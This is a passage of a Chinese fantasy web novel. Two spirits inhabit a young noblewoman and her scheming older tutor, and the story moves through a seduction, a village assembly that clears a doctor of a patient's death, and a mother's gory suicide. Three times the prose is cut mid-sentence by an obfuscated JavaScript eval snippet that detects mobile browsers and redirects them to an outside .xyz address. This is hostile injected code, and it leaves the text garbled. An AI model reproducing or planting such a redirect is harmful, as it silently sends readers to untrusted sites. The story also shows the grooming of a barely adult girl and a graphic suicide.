祝红泥洗完手后,在男人几个穴位扎上几针,等了不过片刻男人就悠悠转醒了。 看到祝红泥的那一刻,男人明显愣了一下。 见男人醒了,坐在桌边休息的周泠站起身来,指着他正要开口骂却被祝红泥制止:“周小姐若是无事就回去吧,医馆开门做生意,别碍着他人。” 周泠不忍心拒绝美人的要求,即使心中憋着的火还未散去,还是听从祝红泥的话,转身离开了。 临走前,绛仙听到了屋内两人的对话: “你是何人?从哪里来?” “我……我叫张贞,是逃难来的。” …… 之后的话,绛仙就听不清了。 她第一次这么希望这不依不饶的大小姐能多骂几句,多停留一段时间。 回到府中时,下人已经将周泠需要的男装备好了,料子和她之前的衣裳无二,用得都是最好的。 周泠对着镜子看了又看,十分满意。 下人们也是对着她夸,说她是什么清秀的小公子。 绛仙不置可否。 毕竟是男是女这种问题明眼人一看便知,更别说像周泠这样身量娇小,面容又清秀的姑娘了。 一眼就能看出来是男是女吧! 绛仙自然而然的以为,这样的伪装一定刚迈过门槛就会被识破的! 可出乎意料的是,周泠竟然真的如愿以偿进了私塾,还和前几日见过她从墙头掉下来的学生同堂读书! 绛仙看着面前一脸女相的周泠,再看看周围真把她当男人的学生,在怀疑这些人眼睛的同时问谢如许:“这不会是你搞的鬼吧?” 谢如许很是无辜:“我当真没有这个能耐。” “不是你搞的鬼?那就是这些人真的眼瞎咯?” 现在周泠心中的雀跃没有丝毫消减的传入绛仙心中,让她的心也跟着乱颤。 从小到大,绛仙可从未有过这么激动的时候,多亏了周泠,这下终于感受到小鹿乱撞的感觉了。 也不是很想说谢谢。 苏清玉从屋内走出后,原本还乱成一片的学生们顷刻安静了下来,脊背挺直,端坐在桌前。 周泠也稳了稳心神,理好耳边的头发,定眼看着款款向此处走来的苏清玉。 一袭白衣,衣袂飘飘,好似天上的神仙一样。 绛仙嘶了一声:这应该是丧服吧? 通过这些天的了解,这苏清玉的原配夫人是在一年前去世的,现在应该是在丧期,穿丧服也没什么。 而且听其他人说,苏清玉和妻子生前感情甚笃,妻子死后为妻守孝,日日着丧服,深居简出,很是为邻里称赞。 绛仙却不这么认为,有些事情做得太全面了,反倒有鬼。 在开始讲课前,苏清玉往周泠的方向深深看了一眼。 他的声音平稳,带着丝丝的沙哑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850723|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 周泠听得心驰神往,一堂课下来,知识没听多少,眼神是一直往苏清玉身上瞥。 苏清玉专注讲课,竟然也没注意看管她。 一说下课,周泠便绕过众人跟着苏清玉进了书房。 房间内熏着冷香,沉木桌椅和博古架都透露着一股静谧之气。 周泠跟在苏清玉身后左顾右盼,像是在自己家书房闲逛一样。 苏清玉放好书一转头便见周泠站在博古架前,拿着一只玉雕的小鹤,上下左右地打量。 苏清玉俊眉皱起,怒斥:“放下!” 这一声喊得实在太大太突然,周泠下意识地松手,下一刻那玉雕就被摔在了地上,四分五裂。 苏清玉快步走来,蹲下身捡起碎掉的玉雕,额角青筋暴起:“你……你干了什么?” 周泠退后几步,双手背在身后:“不、不是的……我、抱歉,这东西多少钱,我可以赔给你……” 苏清玉双手捧着玉雕,颤抖着道:“钱?这是我夫人留给我最后的东西了,你竟然……你!” 周泠啊了一声,看了看苏清玉手中的碎片,道:“死人的东西啊?” 背在身后的手嫌弃地甩了甩,似乎是觉得晦气。 “你走。”苏清玉背过身,周泠却固执道:“不走。” 她一下窜到苏清玉面前,笑嘻嘻地道:“苏先生,今日上课我有些问题还不清楚,能否请苏先生解惑?” 被毁了妻子遗物的苏清玉自然没有心思去答什么问题,更何况对方本就不是奔着听学来的。 “你本就不是为解惑而来,何必以此为借口?” 绛仙挑眉:看来这苏清玉知道周泠的目的,那他为什么要让周泠进来?直接拒绝不就好了吗?而且……遗物那么重要的东西,怎么能放在这么危险的地方呢? 发现苏清玉已经知晓,周泠也不想再继续旁敲侧击,直接道:“那我能否请先生共饮一杯?” 苏清玉别过脸,不太想和面前的人说话:“周姑娘的父亲竟千般恳求我破例收你入学,那便与其他学生一样,认真听学,莫要再将心思放在其他东西上。” 说罢,他甩袖离去,只留周泠站在原地,愤愤跺脚。 这时,绛仙才恍然大悟:怪不得扮男装扮得这么随意,还能顺利入学,原来是走后门啊! “阿绛?” 谢如许的声音打断了她的思绪,她皱眉道:“谁让你这么叫我的?” 谢如许轻笑一声后问:“你前些天说你看到张贞了?” 绛仙诧异:“张贞你也知道?” 谢如许不答,算是默认。 绛仙道:“见是见到了,但是和那座塔也没什么联系。对了,你这些天有什么收获吗?这个周泠脑子里一天到晚都是怎么见到苏清玉,怎么如愿让苏清玉爱上她,什么有用的都没有!” “有一些。”谢如许顿了顿后道,“此时此刻,这座城中没有任何的律法,人人遵循内心,可以说每个人都在按照自己以为对的方式生活、处事。” “没有律法?这有什么啊,适者生存不就是了?”绛仙倒是觉得这个问题简直算不得什么问题。 谢如许却道:“没有律法规制,总有一天会爆发大乱的。” 41. 引诱 因为这次事故,在之后的几日内,苏清玉没有给过周泠半分好脸色,课中只要她走神抛锚一刻就要被他拎起来回答问题,课后若是课业不够仔细,还要被他留在私塾中教育。 虽说是对周泠损坏亡妻遗物的打击报复,但这还是正随了周泠的意。 毕竟共饮同游和留堂责骂对她来说没什么差别,只要能和苏清玉这样的美人待在一处,目的是什么又有什么关系? 直到一日,苏清玉彻底被周泠这幅样子惹恼,在周泠第三次在课中走神时将她叫起,一顿责骂后,罚她去后院扫落叶。 周泠可是从小在爹娘手心里长大的千金大小姐,连头发都没自己梳过,更别说让她拿扫帚去扫地了。 于是,她捻着扫把在后院闲逛许久,一片落叶也没扫过。 黄昏,学生们稀稀落落的离开,等到最后一个学生行礼,踏出大门后,苏清玉负手来到后院。 看着坐在石凳上发呆的周泠,走上前,冷声道:“我让你扫地,你现在在做什么?” 周泠抬眼看他,嘻嘻笑道:“我不会扫地。” “扫地还需要学吗?不会就用手捡。”苏清玉话说得冰冷,周泠却仍是一脸笑相,“我本就是被家人娇生惯养的千金小姐,我不会扫地,不是很正常吗?” 这些日子和苏清玉的相处中,周泠已经捏准这人的品行了。 嘴上说着,不收女弟子,可她爹多加些钱,他就松口同意了,嘴上说着离自己远些,可每次课上都要变着法地挑自己的错,还要时常将自己留下,这不是欲迎还拒是什么? “我不会,苏先生会的话,我愿意学,您愿意教吗?”周泠将扫把递上前,一只如葱般白嫩的小手落在苏清玉眼中,这手一看就是从小养在深闺里,用无数的金银堆成的。 念此,他眸底一暗,嘴角勾起一丝细不可查的弧度,嘴上依旧严厉,“周小姐不是聪明吗?自己学。” 见他转身要走,周泠连忙上前张开双臂拦住他:“苏先生不教,我就不扫了。” 苏清玉隐隐皱眉,“不可理喻。” 周泠身形娇小,完全挡不住苏清玉前进的步伐,可苏清玉还是站在原地,看着周泠,道:“周小姐,你究竟要如何?” “不如何,就是看苏先生生得好看,想和您多待一会儿,责骂也好,其他什么也罢,反正您现在也是独身一人,这漫漫长夜,您就不觉得孤独吗?” 周泠这话说得直接,毕竟她这般性子也说不出什么拐弯抹角的话。 苏清玉听后却眉间一凛,“你!简直是毫无廉耻之心!” “廉耻?我不需要那东西。”周泠说得信然,对她来说也是句实话。 前些年里,只要长得算作好看的人,她都要去结识一番,那些人无论再推辞,在周泠金钱和容貌的双重吸引下,不过几日就会乖乖跟着她身后,给她充面子,只有苏清玉一人,是不断推辞。 金钱也没什么用,容貌也没什么用。 以周泠这样不达目的不罢休的性子,面对苏清玉这样“刀枪不入”的人耐心多得可怕,更别说这人长得实在好看这一点了。 “你!”面对对方的无礼,苏清玉气得说不出什么话来,耳尖微红,颇有几分美人愠怒的意味。 周泠更为兴奋了:“苏先生,教我扫地如何?” 苏清玉沉默许久,终于是败下阵来,走上前想要接过扫把,可周泠却攥得死紧。 “弟子愚笨,想要先生,手把手教我。” 苏清玉冷哼一声,一脸无药可救的表情,却还是如周泠的愿附上了她的手背。 夕阳西下,天边被照映得通红,扫帚的沙沙声让人不由的心痒。 绛仙感受着手背上的温度,冷笑一声:“好手段啊好手段。” 谢如许不置可否。 他待在苏清玉的身体里,自然对他的所有想法都了如指掌。 嘴上说着爱妻如命,为亡妻守丧,可心里想的却是如何飞上枝头,如何让面前骄横的千金小姐对自己情难自拔。 松口让周泠进私塾,故意把玉雕放在显眼处,以少年人的好奇心不可能不会动它,再到现在再三推辞后的佯装无奈妥协。 可谓是将周泠的一颗心都牵在了自己的身上。 引诱,刻意的引诱,一个历经世事的年长者,对不谙世事的年幼者,处心积虑的引诱。 “我呸,伪君子!” 谢如许附和:“实在是……过分。” 绛仙一颗心随周泠跳得厉害,突然又想起之前谢如许的行为举止,又道:“你还说别人?你不也是一样吗?” 谢如许愣了一下,没想到绛仙会突然想到自己,解释道:“我与他不同。” “有何不同?处心积虑接近我,为了什么?你不会对我有什么图谋吧?钱还是色?” “并非如此,我是为了……”话说一半,谢如许停住了,“再说了,要说引诱,也该是你先……” “什么?”绛仙不懂他说的这话,可继续追问,谢如许便当了缩头乌龟,不再回答。 …… 不得不说,苏清玉拿捏旁人却是有一手,这些日子时而主动搭话,时而冷脸相对,将周泠的一颗心钓得忽上忽下的。 偏偏周泠的各种情绪绛仙也能一同感受到,每当她面对苏清玉时,心跳就和擂鼓一样,一双眼睛里容不下任何人。 许是若即若离的法子用够了,苏清玉在一个雨夜下了一剂重药 ——风寒。 在得知今日休息不上课后,周泠当即便去了私塾,然后被下人拦在门外,她问为什么,那守门的人便答: “先生昨夜染了风寒,今日不便见客。” 周泠一颗心顿时就沉了下去,转身便往祝红泥的医馆跑,去帮苏清玉抓药。 周泠撑着伞,敲开医馆的门,却发现开门的不是祝红泥也不是张贞,而是一张完全陌生的面孔,一个五官端正的青年。 “你是?”周泠问。 青年十分有礼地迎她进去,脸上带着丝丝笑意,语气恭敬:“在下是祝姑娘收留,给她打下手的。” “打下手的?”周泠才顾不上问这人是什么身份,一进门就喊道,“不管怎么样,祝姐姐在哪儿?我要治风寒的药!” 青年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850724|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“祝姑娘和张公子外出采药了,若是姑娘需要,在下也可帮您抓药。” 周泠瞥他一眼,虽然心中疑虑,但念在苏清玉病急,只要点头,暂时相信他:“那就快帮我抓药,别磨蹭!” 青年的手脚十分麻利,很快将药包好递给周泠。 周泠急急忙忙留下一句:“药钱问城南周家要。”便快步离开了。 敲开私塾的门后,周泠一路小跑到苏清玉的卧房,将药包递给下人后便凑到他床前。 苏清玉本就白皙的面庞因为高烧染上一丝酡红,平日里被梳得板正的长发散开,鬓边两缕白发在黑发间若隐若现。 好一幅美人卧床图。 “你没事吧?我给你抓了药,你……” 周泠的话顿住了,因为苏清玉滚烫的手握了上来,愣神的间隙,周泠被苏清玉猛得一拉,一阵天旋地转后扑进了他的怀里。 这个怀抱和他的手心一样滚烫,急促的呼吸拍打在她耳后,让她的脸不停升温,直到和苏清玉一样染上酡红。 “夫人……”苏清玉的声音沙哑,双眼迷离。 周泠一颗心几乎要从嗓子眼跳出来。 门不知何时已经被下人识相地关上了,屋外的雨声在这一刻好像成了两人之间暧昧氛围的应和。 一个时常挺着身子,拒人于千里之外的清高文人,在病后露出这幅惹人怜爱的模样,像是露出肚皮的小狗一样,这让还未经情.事的少女如何能逃开这特地为她设下的圈套。 苏清玉看似恍惚却带着引诱意味的唇渐渐靠近,从耳后到下颌再到唇角。 周泠几乎把父母曾教导自己的“男女之防”忘了个干净,任由苏清玉将自己压在榻上,有些潮意的衣裳被一件一件褪下。 象征着年龄的白发轻飘飘落在少女稚嫩的脸颊上,这场荒唐的情.事和屋外的雨势一般,愈加强烈。 “等一下等一下,能跳过这一段吗!!”感受到耳边痒意时,绛仙就开始试图逃离,可没有任何可行的办法。 炽热的呼吸拍打在耳后,她整个人几乎要炸起来。 谢如许也没预料到事情会发展到这种地步,连忙念诀,幸而赶在这场情事开始前脱离了和这两人的共感。 一阵天旋地转后,绛仙再次睁眼,竟然发现自己正躺在谢如许怀里。 是真真正正的谢如许的脸! 想到方才的场景,她又羞又愤,一巴掌拍上了谢如许的脸。 谢如许方才动用灵力脱离共感,此时本就疲惫恍惚,再加上绛仙这重重的一掌,睁眼便觉得意识恍惚。 “你是不是故意的?”绛仙捏着他的耳朵,恶狠狠道,“不是说什么调查黑塔,莫名其妙把我丢进一个满脑子男人的大小姐身上,还……还……” “阿绛,阿绛!”谢如许虚虚环着她的手腕,试图让她停下。 “你叫什么叫?谁许你这么叫的?!” “等等,这里不对劲……”谢如许挣扎着说出这句话后,绛仙的动作果然停了。 她这才抬眼看了看周围,发现这里很是熟悉,仔细一想:这不还是周泠的卧房吗!! 42. 无解 这是跳过那一段了?可是刚刚不是在苏清玉卧房里吗?现在怎么又到这儿了? 很快,屋外传来小姚熟悉的声音:“小姐,苏先生,时候不早了,二位今日不是要去采买吗?” “采买?”绛仙从床上坐起来,看着同样有些发懵的谢如许,问,“什么情况?小姚对我们的称呼还是周泠和苏清玉的称呼,但是你我现在是我们自己的脸,自己的身体。” 为了确认这的确是自己的身体,绛仙站起身来活动活动,还顺便照了个镜子。 确实是她自己的脸。 谢如许沉默片刻后道:“现在我们的行为应该不会影响原先历史的走向了。” “那我们就可以自由行动了?”绛仙惊喜转过身,终于不用和周泠那些腻腻歪歪的心思感同身受了,况且不受周泠行动制约,她就可以自己去查有关黑塔的事情了。 谢如许点头,看看窗外的明亮,道:“那我们现在就去采买吧。” 绛仙道:“好,采买……” 因为可以自己决定接下来的行事,绛仙和谢如许一致要求小姚留在家里,他们两个字单独出去采买,小姚虽然有些不舍,但碍于小姐的吩咐,只能点头应下。 这时,绛仙和谢如许才得知,苏清玉早在几个月前就得了周家父母的应允,如今吃住都和周泠在一起,俨然一副甜蜜小夫妻的模样,两人的婚期定在今年冬,正巧赶上周泠的生辰,算是双喜临门。 其中最出乎绛仙意料的是,周家父母竟然同意了两人的亲事,要知这苏清玉成婚又丧妻,现在都已经四十岁有余了,周泠可还是刚及笄的豆蔻少女。 这年龄差距也太大了!就算苏清玉再怎么才高八斗学富五车,周家父母也不应该同意这桩婚事啊! 而且,师徒禁忌竟然就这么随意的给跨过去了。 可是等绛仙走到街上后才发现,周家父母只是“脑子被驴踢了”的其中之一。 这街上只要是和两人有所交集的人,都要对着两人夸一句般配,竟然没有一个人觉得两人结合有违纲常。 饶是绛仙自诩多年的随心所欲,此刻也觉得比起这城里的人,相差甚远。 想着,绛仙加快了脚下的步伐,拉着谢如许一股脑地往前冲,直到周围没有了上前搭话的人才慢下来,松了口气。 “这城里的人也太奇怪了,这都能接受?要是在外头怕是早被别人指着脊梁骨说一大堆了。”绛仙还是不解。 谢如许也眉头轻皱,忽而又抬眼看向前方,“你看,我们到城中心了。” 城中心?绛仙一愣,就是那座行宫和黑塔存在的地方。 她抬起头往前看去,只见那座巍峨的行宫在此时竟只是一处小小的院子。 “院子里有人?”绛仙拉着谢如许走上前,只见院子里的几十个人围坐一圈似乎是在讨论些什么,而坐在最中间,垂眸一言不发的竟然是祝红泥? “这是?”两人不由往前凑了凑,仔细听院中人的议论。 为首的妇人情绪激动,一双眼睛通红,如泣如诉:“我早就说她祝红泥用药不讲究,什么烈的重的都往药包里塞,如今出了岔子,害得我儿惨死,她凭什么不用付出代价?!” “那你要她如何付出代价?”一位老者问。 妇人狠厉道:“我要她给我儿偿命!” 此话一出,像是一块石头丢进了沉寂的池塘,顿时群情激奋:“这怎么能行?祝大夫医术高明,这些年不知道救了多少人,日后也不知能救多少人?你今日让她给你儿偿命,那日后我们其他人患了病找谁医去?找你吗?” “你说她医术高明,那我儿为何会惨死于她手下?” 有一人道:“这人有失足马有失蹄嘛!祝大夫救了这么多人,抵你儿一条命,足够了!” “她救了那么多人和我有什么关系?我只想要给我儿报仇,我只想要给我儿寻回个公道!” 方才最先说话的那人又道:“行行行,你儿死了你让祝大夫偿命,那日后患病无药可医的病人又找谁偿命去?日后这些命都算在你儿子头上,也不怕损了你儿子的阴德!” “那我儿就这么平白无故的死了吗?她祝红泥杀了人就不用付出半点代价吗?!”妇人目眦尽裂,目光扫过在场所有人,却没有任何一个人赞同她的观点。 “刀子割不到你们身上你们不知道疼,等日后祝红泥杀人杀到了你们头上,你们还能这么这么冠冕堂皇的说出这些话吗?!” “我今天就要祝红泥给我儿子偿命,你们要是不同意,我就撞死在这里!!!” 妇人说得激动,口水都止不住地往外喷,其他人却还是沉默。 “除了偿命,你想让她付出什么代价?”沉默许久的老者又问。 妇人目光死死盯着坐在最中间的祝红泥,对方还是一脸无畏。 “那我要她一条胳膊!” 一位与她年龄相仿的妇人反对道:“不可不可,我家男人近日头风发作,需得祝大夫施针,你砍了她的胳膊,我男人的病可怎么办?” 妇人又道:“那我要她一条腿!” 又一位络腮胡的壮汉反驳:“这可不行,我老娘卧病在床,床都下不了,我家地方又偏远,你若是砍掉了祝大夫的一条腿,她如何来我家给我老娘治病?” 妇人再次垂眼思索,半晌后道:“那、那我要她游街示众,告诉所有人她欠我儿子一条命!” 这次,是那位最德高望重的老者反驳:“这也不可行,祝大夫行医多年,在百姓心中颇有建树,若是要她游街,怕是会人心惶惶,难以服众。” “那你们要我怎么让她付出代价!”妇人怒斥道。 那老者却道:“这不是把选择的权利,交给你了吗?” “你们有给我选择的机会吗?她是大夫,她治病救人,她对你们所有人都有用,那我儿子也是我家里的顶梁柱,他死了,我又该怎么办?” 一次又一次的反驳,让妇人彻底崩溃了,她在原地愣了一瞬后疯了一般朝着祝红泥冲过去:“我就要你偿命!” 见势不妙,众人连忙上前阻拦,人高马大的壮汉围成一圈,将祝红泥牢牢挡在身后。 妇人本就骨瘦如柴,这些日子因为儿子的死四处奔波,整个人就剩了一副骷髅架子,面对有她两个人高的壮汉,除过被重重摔在地上,没有任何的办法。 她双手握起,透过人群的缝隙,看到了早已站起身来的祝红泥。 现在形势已经非常明了了,祝红泥,不会受到任何惩罚,即使她害了一个人的性命。 至此,她的脸上依旧是平静,仿佛早就料到现在的结果了。 毕竟这也不是她第一次遇到这种情况了,早在这妇人之前便有过几十桩与之相同的事情发生,她能完完整整地站在这里不就是说明,她根本不会被这种事情影响。 祝红泥转身要走,却听到院外传来一道熟悉的声音:“等等!” 绛仙和谢如许推开门走上前,绛仙道:“杀人偿命天经地义,怎么能因为她是大夫治病救人就能不负任何代价?” 没想到周泠会说出这种话,祝红泥轻轻瞥了她一眼,另有人替她反驳:“可这也是为了其他百姓好啊,祝大夫若是在,那就可以挽救城中近百条性命,祝大夫若是不在,那这城中百条性命都得同她儿子陪葬,救一个还是救近百个,周小姐还选不出来吗?” “那一条命没了,她什么代价都不用偿吗?”绛仙盯着反驳那人,等着他说出什么话来。 可是为首的老者一敲拐杖,对绛仙道:“此事周小姐无权干涉,说再多也没有用。张氏,”他低头看向还在地上的妇人,“你的诉求驳回,早些回去给你儿子准备后事吧。” 一锤定音,在场众人得到这个答案后都松了口气,正准备走,却见张氏狠狠盯着祝红泥,咬牙切齿道:“祝红泥,我做鬼都不会放过你的!” 此话一出,众人都以为她还想对祝红泥做些什么,原本都迈出的步子再次迈回,挡在祝红泥身前。可下一瞬,张氏却向着全然相反的方向冲去了,整个人如同离弦之箭,那速度是在场所有人都没有反应过来的。 砰的一声,鲜红的血液和白花花的脑浆泵出,洒在了她身下的土地上。 她整个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852441|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软软瘫在地上,只剩一双还睁的浑圆的眼睛,死死地盯着天空。 她,真的一头撞死在这里了? 一瞬间,周围陷入一片死寂,每个人都愣愣看着地上张氏的尸体,没有一个人开口,也没有一个人离开。 不知过了多久,绛仙抬手擦了擦脸,指尖沾上了从张氏脑中迸裂出来的血迹。 张氏刚刚的速度,竟是连她都没反应过来。 “劳烦,人脑中的白浆是十分珍贵的药材,哪位能帮我将她的脑浆收起来?” 在众人愣神之际,祝红泥已经走到了院门口。 听到祝红泥的话,一位壮汉连连应是:“好好好,我去拿罐子,一会儿就给您送到医馆去。” 祝红泥点了点头转身离开。 绛仙想要追上去问个明白,却被谢如许抓住了手腕。 “你拉我做什么?”绛仙看向谢如许。 谢如许摇了摇头,道:“别去了,此事你没有办法的。” “为什么没有办法?杀人偿命不是应该的吗?现在因为祝红泥没了两条命,她就这么好生生的走了?”绛仙质问道。 “此事若问孰是孰非是理不清的。”谢如许道。 绛仙反驳:“怎么就理不清了?是就是是非就是非,黑就是黑白就是白,对就是对错就是错,她做错了事情就应该付出代价,她害了人就应该偿命,就事论事,我管她是大夫还是刽子手!” 谢如许却轻声问:“杀一人而救百人,和杀百人而救一人,你选择什么?” 绛仙愣了一下,问:“我为什么要选?” 谢如许又问一遍:“你先告诉我,你选什么?” “这根本就选不出来。”绛仙甩开谢如许的手。 谢如许点头,“对,选不出来。杀一人救百人,这一人若是治世贤人,这百人若是愚昧流民呢?杀百人而救一人,这百人身后是百个家庭的悲恸,所以,这个问题无解。” “我管它有没有解,我只想按我自己的看法行事,你别拦我。”绛仙作势要走,却听谢如许在背后轻笑。 “阿绛,你有自己的想法很好,可是这世间一切事情从来都不是非黑即白的,是非曲直也不能只靠一面之词。” 他缓步走到绛仙面前,继续道:“还有我必须提醒你的一点,我们现在是在过去,我们没有改变过去的能力。” 绛仙一颗心突然就沉了下来,看着谢如许,双唇微启:“你……” “我们再等一等吧,一切会有转机的。” 谢如许对着她伸出手,耐心地等着她的回应。 僵持许久,绛仙才慢吞吞地抬手,将手放在对方掌心,“黑塔要紧,解除谢如恙身上的诅咒要紧。” 说到这里,绛仙又一顿,“对了,我还有一件事没问你。” 谢如许颔首:“你说。” 绛仙定了定心神,问:“我们四个人是一同进的玄夫城,我和长徽非人不会被诅咒影响我知道,可是赵袂也没有被诅咒影响是为什么?” 闻言,谢如许一怔,思索片刻后道:“说不准,长公主殿下就是此行的机缘呢?” 绛仙追问:“什么机缘?” 可谢如许却不再开口了。 绛仙愤然:“你又打哑谜!” 谢如许牵过绛仙的手,道:“好了夫人,先去采买吧。” “谁是你夫人?”绛仙深吸一口气,想从谢如许手里挣扎出来,可是现在这是周泠的身体,有什么力气都使不出来,只能任由谢如许牵着自己往外走。 然而就在当晚,如谢如许所说的“转机”,来了。 夜中乌鸦和鸣虫的声音此起彼伏,一根又一根杂乱生长的稻草划过裸露的小腿皮肤,留在一道道带着血的口子。 月亮被隐没在乌云层中,看着面前一望无际的原野,女人完全分不清方向。 但她也不用分清楚,因为她现在只想逃开,只要离开这座城,去哪儿都可以。 奈何天不遂人愿,在她费力将自己的脚从杂草堆里拔出来的时候,背后响起一道熟悉的声音:“她在那儿!快追上去!”